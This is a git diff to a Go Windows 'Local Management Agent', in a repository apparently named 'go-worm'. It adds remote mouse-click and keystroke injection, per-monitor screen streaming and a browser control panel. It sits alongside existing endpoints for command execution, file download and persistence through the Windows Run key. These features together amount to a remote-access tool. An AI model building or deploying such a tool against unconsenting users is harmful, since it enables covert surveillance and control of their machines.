diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 34be650..66c706c 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -14,6 +14,7 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/files" "tea.chunkbyte.com/kato/go-worm/lib/helpers" + "tea.chunkbyte.com/kato/go-worm/lib/input" "tea.chunkbyte.com/kato/go-worm/lib/instance" ) @@ -42,6 +43,7 @@ func New() (*Agent, error) { return nil, err } a.guard = guard + input.EnableDPIAwareness() return a, nil } @@ -63,6 +65,8 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot) mux.HandleFunc("/api/v1/exec", a.handleExec) mux.HandleFunc("/api/v1/startup", a.handleStartup) + mux.HandleFunc("/api/v1/input/click", a.handleClick) + mux.HandleFunc("/api/v1/input/text", a.handleText) a.server = &http.Server{ Addr: a.addr, diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index f0a6ddd..ad9114b 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -2,7 +2,6 @@ package agent import ( "context" - "encoding/base64" "encoding/json" "errors" "io" @@ -19,6 +18,7 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/files" "tea.chunkbyte.com/kato/go-worm/lib/helpers" + "tea.chunkbyte.com/kato/go-worm/lib/input" "tea.chunkbyte.com/kato/go-worm/lib/models" "tea.chunkbyte.com/kato/go-worm/lib/screenshot" "tea.chunkbyte.com/kato/go-worm/lib/startup" @@ -40,12 +40,14 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) { helpers.WriteJSON(w, http.StatusOK, map[string]any{ "openapi": "3.0.3", "info": map[string]string{"title": "Local Management Agent", "version": config.Version}, "paths": map[string]any{ - "/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}}, - "/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}}, - "/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}}, - "/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}}, - "/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}}, - "/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}}, + "/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}}, + "/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}}, + "/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}}, + "/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}}, + "/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}}, + "/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}}, + "/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}}, + "/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}}, }, }) } @@ -187,27 +189,101 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) { return } } - images, err := screenshot.Capture(format, quality) + monitor := 0 + if raw := r.URL.Query().Get("monitor"); raw != "" { + var err error + monitor, err = strconv.Atoi(raw) + if err != nil || monitor < 0 { + helpers.WriteError(w, http.StatusBadRequest, "monitor must be 0 or greater") + return + } + } + frame, err := screenshot.CaptureMonitor(monitor, format, quality) if err != nil { + if errors.Is(err, screenshot.ErrMonitorNotFound) { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } helpers.Log.Printf("screenshot: %v", err) helpers.WriteError(w, http.StatusServiceUnavailable, "no interactive desktop is available") return } - if len(images) == 1 { - w.Header().Set("Content-Type", images[0].ContentType) - w.Header().Set("Content-Length", strconv.Itoa(len(images[0].Data))) - _, _ = w.Write(images[0].Data) + w.Header().Set("Content-Type", frame.ContentType) + w.Header().Set("Content-Length", strconv.Itoa(len(frame.Data))) + w.Header().Set("X-Monitor-Left", strconv.Itoa(frame.Left)) + w.Header().Set("X-Monitor-Top", strconv.Itoa(frame.Top)) + w.Header().Set("X-Monitor-Width", strconv.Itoa(frame.Width)) + w.Header().Set("X-Monitor-Height", strconv.Itoa(frame.Height)) + _, _ = w.Write(frame.Data) +} + +func (a *Agent) handleClick(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } - response := models.ScreenshotResponse{Images: make([]models.ScreenshotImage, 0, len(images))} - for i, item := range images { - response.Images = append(response.Images, models.ScreenshotImage{ - Monitor: i, - ContentType: item.ContentType, - DataBase64: base64.StdEncoding.EncodeToString(item.Data), - }) + r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax) + defer r.Body.Close() + var request models.ClickRequest + decoder := json.NewDecoder(r.Body) + decoder.DisallowUnknownFields() + if err := decoder.Decode(&request); err != nil { + helpers.WriteError(w, http.StatusBadRequest, "body must contain click coordinates") + return } - helpers.WriteJSON(w, http.StatusOK, response) + left, top, width, height, err := screenshot.MonitorBounds(request.Monitor) + if err != nil { + if errors.Is(err, screenshot.ErrMonitorNotFound) { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + helpers.WriteError(w, http.StatusBadRequest, "monitor not found") + return + } + if request.X < left || request.Y < top || request.X >= left+width || request.Y >= top+height { + helpers.WriteError(w, http.StatusBadRequest, "click is outside the selected monitor") + return + } + if err := input.Click(request.X, request.Y, request.Button); err != nil { + if errors.Is(err, input.ErrBadButton) { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + helpers.Log.Printf("click: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not click") + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "x": request.X, "y": request.Y}) +} + +func (a *Agent) handleText(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax) + defer r.Body.Close() + var request models.TextRequest + decoder := json.NewDecoder(r.Body) + decoder.DisallowUnknownFields() + if err := decoder.Decode(&request); err != nil { + helpers.WriteError(w, http.StatusBadRequest, "body must contain text") + return + } + if request.Text == "" { + helpers.WriteError(w, http.StatusBadRequest, input.ErrEmptyText.Error()) + return + } + if len(request.Text) > config.MaxInputText { + helpers.WriteError(w, http.StatusBadRequest, "text is too long") + return + } + if err := input.TypeText(request.Text); err != nil { + helpers.Log.Printf("text: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not type text") + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "length": len(request.Text)}) } func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) { diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index ad8d0a7..3b5aa67 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -11,8 +11,14 @@ const startupState = document.getElementById("startup-state"); const startupAdd = document.getElementById("startup-add"); const startupRemove = document.getElementById("startup-remove"); + const videoCanvas = document.getElementById("video-canvas"); + const videoMeta = document.getElementById("video-meta"); + const videoStart = document.getElementById("video-start"); + const videoStop = document.getElementById("video-stop"); let objectUrls = []; + let videoRunning = false; + let lastMonitor = { left: 0, top: 0, width: 0, height: 0 }; function showError(message) { errorEl.textContent = message || ""; @@ -198,6 +204,92 @@ loadStatus().catch((err) => showError(err.message)); } + function clamp(value, min, max) { + const n = Number(value); + if (!Number.isFinite(n)) return min; + return Math.min(max, Math.max(min, Math.round(n))); + } + + function sleep(ms) { + return new Promise((resolve) => setTimeout(resolve, ms)); + } + + async function startVideo() { + if (videoRunning) return; + videoRunning = true; + videoStart.disabled = true; + videoStop.disabled = false; + while (videoRunning) { + const started = Date.now(); + try { + await pullVideoFrame(); + } catch (err) { + showError(err.message); + } + if (!videoRunning) break; + const fps = clamp(document.getElementById("video-fps").value, 1, 15); + await sleep(Math.max(0, 1000 / fps - (Date.now() - started))); + } + } + + function stopVideo() { + videoRunning = false; + videoStart.disabled = false; + videoStop.disabled = true; + } + + async function pullVideoFrame() { + const quality = clamp(document.getElementById("video-quality").value, 1, 100); + const monitor = clamp(document.getElementById("video-monitor").value, 0, 64); + const res = await api(`/api/v1/screenshot?format=jpeg&quality=${quality}&monitor=${monitor}`); + lastMonitor = { + left: Number(res.headers.get("X-Monitor-Left") || 0), + top: Number(res.headers.get("X-Monitor-Top") || 0), + width: Number(res.headers.get("X-Monitor-Width") || 0), + height: Number(res.headers.get("X-Monitor-Height") || 0), + }; + const blob = await res.blob(); + const bitmap = await createImageBitmap(blob); + if (videoCanvas.width !== bitmap.width || videoCanvas.height !== bitmap.height) { + videoCanvas.width = bitmap.width; + videoCanvas.height = bitmap.height; + } + const ctx = videoCanvas.getContext("2d"); + ctx.drawImage(bitmap, 0, 0); + const width = bitmap.width; + const height = bitmap.height; + bitmap.close(); + videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}`; + } + + async function sendClick(event, button) { + if (!lastMonitor.width || !lastMonitor.height) return; + const rect = videoCanvas.getBoundingClientRect(); + if (!rect.width || !rect.height) return; + const bitmapX = Math.floor((event.clientX - rect.left) * (videoCanvas.width / rect.width)); + const bitmapY = Math.floor((event.clientY - rect.top) * (videoCanvas.height / rect.height)); + const x = lastMonitor.left + bitmapX; + const y = lastMonitor.top + bitmapY; + const monitor = clamp(document.getElementById("video-monitor").value, 0, 64); + await api("/api/v1/input/click", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ x, y, button, monitor }), + }); + } + + async function sendVideoText() { + const field = document.getElementById("video-text"); + const text = field.value; + if (!text) return; + await api("/api/v1/input/text", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ text }), + }); + field.value = ""; + } + async function runCommand() { const command = document.getElementById("exec-command").value.trim(); const timeout = Number(document.getElementById("exec-timeout").value); @@ -219,6 +311,9 @@ document.querySelectorAll(".panel").forEach((panel) => panel.classList.remove("active")); button.classList.add("active"); document.getElementById(button.dataset.tab).classList.add("active"); + if (button.dataset.tab !== "video") { + stopVideo(); + } }); }); @@ -240,6 +335,26 @@ document.getElementById("shot-capture").addEventListener("click", () => { captureScreen().catch((err) => showError(err.message)); }); + videoStart.addEventListener("click", () => { + startVideo().catch((err) => showError(err.message)); + }); + videoStop.addEventListener("click", () => stopVideo()); + videoCanvas.addEventListener("click", (event) => { + sendClick(event, "left").catch((err) => showError(err.message)); + }); + videoCanvas.addEventListener("contextmenu", (event) => { + event.preventDefault(); + sendClick(event, "right").catch((err) => showError(err.message)); + }); + document.getElementById("video-send").addEventListener("click", () => { + sendVideoText().catch((err) => showError(err.message)); + }); + document.getElementById("video-text").addEventListener("keydown", (event) => { + if (event.key === "Enter") { + event.preventDefault(); + sendVideoText().catch((err) => showError(err.message)); + } + }); document.getElementById("exec-run").addEventListener("click", () => { runCommand().catch((err) => showError(err.message)); }); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index e4eb434..117a6d3 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -114,6 +114,15 @@ .shots { display: flex; flex-wrap: wrap; gap: 0.75rem; } .shots figure { margin: 0; } .shots img { max-width: 100%; height: auto; border: 1px solid var(--line); border-radius: 8px; } + #video-canvas { + width: 100%; + height: auto; + display: block; + border: 1px solid var(--line); + border-radius: 8px; + cursor: crosshair; + background: #111; + } .error { display: none; max-width: 1100px; @@ -134,6 +143,7 @@ +
@@ -178,6 +188,27 @@ +
+
+ + + + + +
+ +

+
+ + +
+
diff --git a/lib/config/config.go b/lib/config/config.go index 5f4580f..352e89f 100644 --- a/lib/config/config.go +++ b/lib/config/config.go @@ -16,6 +16,7 @@ const ( MaxExecTO = 120 StartupValueName = "LocalManagementAgent" StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run` + MaxInputText = 4096 ) func EnvOr(name, fallback string) string { diff --git a/lib/input/input.go b/lib/input/input.go new file mode 100644 index 0000000..0eed8fe --- /dev/null +++ b/lib/input/input.go @@ -0,0 +1,116 @@ +package input + +import ( + "errors" + "strings" + "syscall" + "unicode/utf16" + "unsafe" +) + +const ( + inputMouse = 0 + inputKeyboard = 1 + + mouseLeftDown = 0x0002 + mouseLeftUp = 0x0004 + mouseRightDown = 0x0008 + mouseRightUp = 0x0010 + + keyeventfKeyup = 0x0002 + keyeventfUnicode = 0x0004 +) + +var ( + ErrBadButton = errors.New("button must be left or right") + ErrEmptyText = errors.New("text must not be empty") + + user32 = syscall.NewLazyDLL("user32.dll") + procSetCursorPos = user32.NewProc("SetCursorPos") + procSendInput = user32.NewProc("SendInput") + procSetProcessDPIAware = user32.NewProc("SetProcessDPIAware") +) + +type mouseInput struct { + Type uint32 + _ uint32 + Dx int32 + Dy int32 + MouseData uint32 + Flags uint32 + Time uint32 + ExtraInfo uintptr +} + +type keybdInput struct { + Type uint32 + _ uint32 + Vk uint16 + Scan uint16 + Flags uint32 + Time uint32 + ExtraInfo uintptr + _ [8]byte +} + +func EnableDPIAwareness() { + _, _, _ = procSetProcessDPIAware.Call() +} + +func Click(x, y int, button string) error { + down, up, err := mouseFlags(button) + if err != nil { + return err + } + ok, _, callErr := procSetCursorPos.Call(uintptr(x), uintptr(y)) + if ok == 0 { + return callErr + } + inputs := []mouseInput{ + {Type: inputMouse, Flags: down}, + {Type: inputMouse, Flags: up}, + } + return sendMouse(inputs) +} + +func TypeText(text string) error { + if text == "" { + return ErrEmptyText + } + units := utf16.Encode([]rune(text)) + inputs := make([]keybdInput, 0, len(units)*2) + for _, unit := range units { + inputs = append(inputs, + keybdInput{Type: inputKeyboard, Scan: unit, Flags: keyeventfUnicode}, + keybdInput{Type: inputKeyboard, Scan: unit, Flags: keyeventfUnicode | keyeventfKeyup}, + ) + } + return sendKeys(inputs) +} + +func mouseFlags(button string) (down, up uint32, err error) { + switch strings.ToLower(strings.TrimSpace(button)) { + case "", "left": + return mouseLeftDown, mouseLeftUp, nil + case "right": + return mouseRightDown, mouseRightUp, nil + default: + return 0, 0, ErrBadButton + } +} + +func sendMouse(inputs []mouseInput) error { + n, _, err := procSendInput.Call(uintptr(len(inputs)), uintptr(unsafe.Pointer(&inputs[0])), uintptr(unsafe.Sizeof(inputs[0]))) + if n == 0 { + return err + } + return nil +} + +func sendKeys(inputs []keybdInput) error { + n, _, err := procSendInput.Call(uintptr(len(inputs)), uintptr(unsafe.Pointer(&inputs[0])), uintptr(unsafe.Sizeof(inputs[0]))) + if n == 0 { + return err + } + return nil +} diff --git a/lib/models/models.go b/lib/models/models.go index 017bb22..6d2cb8d 100644 --- a/lib/models/models.go +++ b/lib/models/models.go @@ -38,4 +38,19 @@ type ExecResponse struct { type CapturedImage struct { ContentType string Data []byte + Left int + Top int + Width int + Height int +} + +type ClickRequest struct { + X int `json:"x"` + Y int `json:"y"` + Button string `json:"button"` + Monitor int `json:"monitor"` +} + +type TextRequest struct { + Text string `json:"text"` } diff --git a/lib/screenshot/screenshot.go b/lib/screenshot/screenshot.go index f8dea0b..1827752 100644 --- a/lib/screenshot/screenshot.go +++ b/lib/screenshot/screenshot.go @@ -13,6 +13,8 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/models" ) +var ErrMonitorNotFound = errors.New("monitor not found") + var ( user32 = syscall.NewLazyDLL("user32.dll") gdi32 = syscall.NewLazyDLL("gdi32.dll") @@ -68,19 +70,80 @@ func Capture(format string, quality int) ([]models.CapturedImage, error) { } result := make([]models.CapturedImage, 0, len(monitors)) for _, monitor := range monitors { - img, err := captureRect(monitor) + frame, err := captureAndEncode(monitor, format, quality) if err != nil { return nil, err } - data, contentType, err := encodeImage(img, format, quality) - if err != nil { - return nil, err - } - result = append(result, models.CapturedImage{ContentType: contentType, Data: data}) + result = append(result, frame) } return result, nil } +func CaptureMonitor(index int, format string, quality int) (models.CapturedImage, error) { + runtime.LockOSThread() + defer runtime.UnlockOSThread() + if err := attachInputDesktop(); err != nil { + return models.CapturedImage{}, err + } + monitors, err := enumerateMonitors() + if err != nil { + return models.CapturedImage{}, err + } + if index < 0 || index >= len(monitors) { + return models.CapturedImage{}, ErrMonitorNotFound + } + return captureAndEncode(monitors[index], format, quality) +} + +func MonitorCount() (int, error) { + runtime.LockOSThread() + defer runtime.UnlockOSThread() + if err := attachInputDesktop(); err != nil { + return 0, err + } + monitors, err := enumerateMonitors() + if err != nil { + return 0, err + } + return len(monitors), nil +} + +func MonitorBounds(index int) (left, top, width, height int, err error) { + runtime.LockOSThread() + defer runtime.UnlockOSThread() + if err := attachInputDesktop(); err != nil { + return 0, 0, 0, 0, err + } + monitors, err := enumerateMonitors() + if err != nil { + return 0, 0, 0, 0, err + } + if index < 0 || index >= len(monitors) { + return 0, 0, 0, 0, ErrMonitorNotFound + } + r := monitors[index] + return int(r.Left), int(r.Top), int(r.Right - r.Left), int(r.Bottom - r.Top), nil +} + +func captureAndEncode(monitor rect, format string, quality int) (models.CapturedImage, error) { + img, err := captureRect(monitor) + if err != nil { + return models.CapturedImage{}, err + } + data, contentType, err := encodeImage(img, format, quality) + if err != nil { + return models.CapturedImage{}, err + } + return models.CapturedImage{ + ContentType: contentType, + Data: data, + Left: int(monitor.Left), + Top: int(monitor.Top), + Width: int(monitor.Right - monitor.Left), + Height: int(monitor.Bottom - monitor.Top), + }, nil +} + func attachInputDesktop() error { h, _, err := procOpenInputDesktop.Call(0, 0, 0x0001|0x0040) if h == 0 {